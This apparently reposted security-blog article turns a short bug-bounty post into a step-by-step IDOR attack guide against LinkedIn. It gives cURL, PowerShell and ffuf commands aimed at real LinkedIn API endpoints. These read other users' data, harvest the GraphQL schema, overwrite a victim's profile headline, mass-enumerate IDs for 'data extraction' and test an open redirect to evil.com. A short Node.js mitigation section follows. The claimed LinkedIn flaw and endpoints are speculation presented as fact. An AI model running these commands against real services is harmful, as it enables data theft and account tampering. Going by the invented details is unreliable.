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Introduction:
In the high-stakes world of bug bounty hunting, the difference between a “invalid” report and a six-figure payout often lies in understanding the architecture of modern web applications. A recent post by Aditya, a Top 100 Bugcrowd hacker, sparked significant discussion regarding a potential vulnerability found on LinkedIn. While the post was brief, the implications point toward a specific class of web security flaws: Insecure Direct Object References (IDOR) within API endpoints. This article breaks down the methodology behind hunting such vulnerabilities, the technical commands required to validate them, and how to secure your own applications against these silent data breaches.
Learning Objectives:
- Understand the mechanics of IDOR vulnerabilities in REST and GraphQL APIs.
- Learn to intercept and manipulate API requests using Burp Suite and cURL.
- Identify key indicators of broken access controls in enterprise platforms like LinkedIn.
- Master the process of escalating a simple “object reference” into a critical data leak.
You Should Know:
1. Reconnaissance: Mapping the LinkedIn Attack Surface
Before testing any platform, a bug bounty hunter must understand the scope. Unlike traditional penetration tests where you scan for open ports, hunting on platforms like LinkedIn requires analyzing the web application’s traffic. When you browse LinkedIn, your browser communicates with various backend services. To uncover hidden parameters, we must intercept this traffic.
Step‑by‑step guide:
- Set up Burp Suite: Open Burp Suite (Community Edition is sufficient) and navigate to the Proxy tab. Ensure “Intercept is on”.
- Configure Browser Proxy: Set your browser to use `127.0.0.1:8080` as a proxy and install the Burp CA certificate to decrypt HTTPS traffic.
- Analyze the Request: Navigate to a profile or post on LinkedIn. Look for requests containing alphanumeric IDs or URNs (LinkedIn Resource Names). For example, you might see a request like:
`GET /voyager/api/feed/detail?urn=li:activity:123456789`
Send this request to Burp Repeater (Right-click -> Send to Repeater).
2. Parameter Manipulation: The IDOR Hunt
The core of the test lies in changing the identifier (urn) to see if the server validates the user’s permission to access that specific object. This is the moment Aditya referenced with “Test.” A successful IDOR means the server trusts the user-provided ID without checking if the user owns it.
Step‑by‑step guide (Linux/macOS):
Once you have a valid request structure from Burp Suite, you can automate and test it using cURL in the terminal. This allows for cleaner manipulation of parameters.
- Extract cURL Command: In Burp Suite, right-click the request and select “Copy as cURL command”.
- Modify the URN: Paste the command into a text editor. Change the URN to another valid but unauthorized ID (e.g., another user’s activity ID).
Original Request (Your Feed) curl 'https://www.linkedin.com/voyager/api/feed/detail?urn=li:activity:123456789' -H 'authorization: Bearer YOUR_TOKEN_HERE' --compressed Modified Request (Target's Feed - Potential IDOR) curl 'https://www.linkedin.com/voyager/api/feed/detail?urn=li:activity:987654321' -H 'authorization: Bearer YOUR_TOKEN_HERE' --compressed
- Analyze Response: Run the command. If the response returns the private data of the target user (email, private posts, analytics) instead of an “Access Denied” or “403 Forbidden” error, you have found an IDOR.
3. Exploiting GraphQL Introspection for Data Harvesting
Modern LinkedIn likely utilizes GraphQL. If an IDOR exists, an attacker might use GraphQL’s introspection capabilities to query for fields they shouldn’t see. Introspection allows a client to ask a GraphQL API for details about its schema.
Step‑by‑step guide (Windows – PowerShell):
Using PowerShell, you can send complex JSON payloads to GraphQL endpoints to enumerate the database schema or extract nested data.
- Identify GraphQL Endpoint: Look for requests ending in `/graphql` or containing `query=` in Burp Suite.
- Craft Introspection Query: Save the following payload to a file named
intro.json.{ "query": "query { __schema { types { name fields { name } } } }" }
3. Execute in PowerShell:
$headers = @{
"Authorization" = "Bearer YOUR_TOKEN_HERE"
"Content-Type" = "application/json"
"Csrf-Token" = "ajax:YOUR_CSRF_TOKEN"
"X-Restli-Protocol-Version" = "2.0.0"
}
$body = Get-Content .\intro.json -Raw
Invoke-RestMethod -Uri "https://www.linkedin.com/voyager/api/graphql" `
-Method Post `
-Headers $headers `
-Body $body
4. Analysis: If introspection is enabled (which it often is for internal debugging but should be disabled in production), the output will list all available object types. This gives an attacker a map of exactly what data is available to steal.
4. Privilege Escalation: From Read to Write
Sometimes a “Test” like Aditya’s might reveal more than just read access. If the parameter is tied to a POST or PUT request, an attacker might be able to modify data belonging to other users.
Step‑by‑step guide (Linux – cURL):
If the vulnerable endpoint is for updating profile settings (e.g., `PATCH /voyager/api/me/profile`), an attacker could change the URN to target another user.
- Capture Update Request: While editing your own profile, capture the request in Burp Suite. Note the URL structure.
- Modify Endpoint: Change the endpoint from `/me/` to a direct reference to another user’s ID.
Attempt to change the headline of another user (Victim URN: li:person:5551234) curl -X PATCH 'https://www.linkedin.com/voyager/api/identity/profiles/ACoAAB_5551234/profile' \ -H 'authorization: Bearer YOUR_TOKEN_HERE' \ -H 'content-type: application/json' \ -d '{ "patch": { "$set": { "headline": "HACKED VIA IDOR" } } }' - Check Response: A `200 OK` response indicates a critical privilege escalation vulnerability. This goes beyond data leak and moves into account takeover or data integrity compromise.
5. Automation with ffuf for Mass Data Extraction
Manual testing is slow. Once you confirm the pattern, use a fuzzing tool to cycle through IDs. This is where bounty hunters find massive payouts.
Step‑by‑step guide (Linux – ffuf):
- Create a Wordlist: Generate a list of potential LinkedIn URNs. Since they are base64-encoded or incremental, you can create a simple list.
Generate a list of numbers (if IDs are sequential) seq 1000000 1001000 > ids.txt
2. Run ffuf:
ffuf -u 'https://www.linkedin.com/voyager/api/feed/detail?urn=li:activity:FUZZ' \ -w ids.txt \ -H 'authorization: Bearer YOUR_TOKEN_HERE' \ -H 'csrf-token: YOUR_CSRF_TOKEN' \ -fc 403,404
The `-fc 403,404` flag filters out denied responses, leaving only successful (200) data leaks.
6. Mitigation: Implementing Robust Access Controls
For developers, the lesson from this “Test” is that UUIDs or complex URNs are not security by obscurity. Access control must be enforced server-side.
Step‑by‑step guide (Conceptual Code – Node.js):
Instead of trusting the ID in the request, always check the ownership against the session token.
// VULNERABLE CODE
app.get('/api/profile/:user_id', (req, res) => {
// Directly fetches data based on user input without validation
db.getUser(req.params.user_id).then(user => res.json(user));
});
// SECURE CODE
app.get('/api/profile/:user_id', (req, res) => {
const sessionUserID = req.session.user.id; // Get logged-in user from session
const requestedUserID = req.params.user_id;
// Authorization Check
if (sessionUserID !== requestedUserID && !userIsAdmin(sessionUserID)) {
return res.status(403).json({ error: "Forbidden" });
}
// If check passes, fetch and return data
db.getUser(requestedUserID).then(user => res.json(user));
});
7. Windows Command Line: Checking for Open Redirects
Sometimes IDORs are paired with Open Redirects to bypass filters. You can quickly test redirects using PowerShell.
Step‑by‑step guide:
- Test Redirect Behavior: If the LinkedIn endpoint uses a `redirectUrl` parameter, test it for SSRF or open redirect.
$testUrl = "https://www.linkedin.com/authwall?trk=bf&trkInfo=bf&originalReferer=&sessionRedirect=https://evil.com" $response = Invoke-WebRequest -Uri $testUrl -MaximumRedirection 0 -SkipHttpErrorCheck -ErrorAction SilentlyContinue if ($response.StatusCode -eq 302) { Write-Host "Redirect Detected to: " $response.Headers.Location }
What Undercode Say:
- Context is King: A simple “Test” by a hacker can often uncover massive architectural flaws. The LinkedIn discussion highlights how a single manipulated URN can expose data belonging to millions, emphasizing that authorization must never rely on client-side parameters.
- Automation is the Scalpel: Manual discovery of the first IDOR is just the beginning. Using tools like `ffuf` and custom PowerShell scripts, attackers can scrape vast datasets in minutes. Defenders must implement rate limiting and anomaly detection to spot these automated enumeration patterns before a breach occurs.
Prediction:
As AI agents begin to automate web interactions, we will see a surge in “Agent-to-API” IDOR attacks. AI crawlers will be able to map out application states and test permutations of access controls exponentially faster than human-led fuzzing. The future of bug bounty hunting will shift from manual parameter fiddling to writing sophisticated scripts that instruct LLMs to identify and exploit business logic flaws at scale. LinkedIn and similar platforms will be forced to move toward “Zero Trust” API architectures, where every request is authenticated and authorized in isolation, regardless of the session context.
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IT/Security Reporter URL:
Reported By: Kongsec Test – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
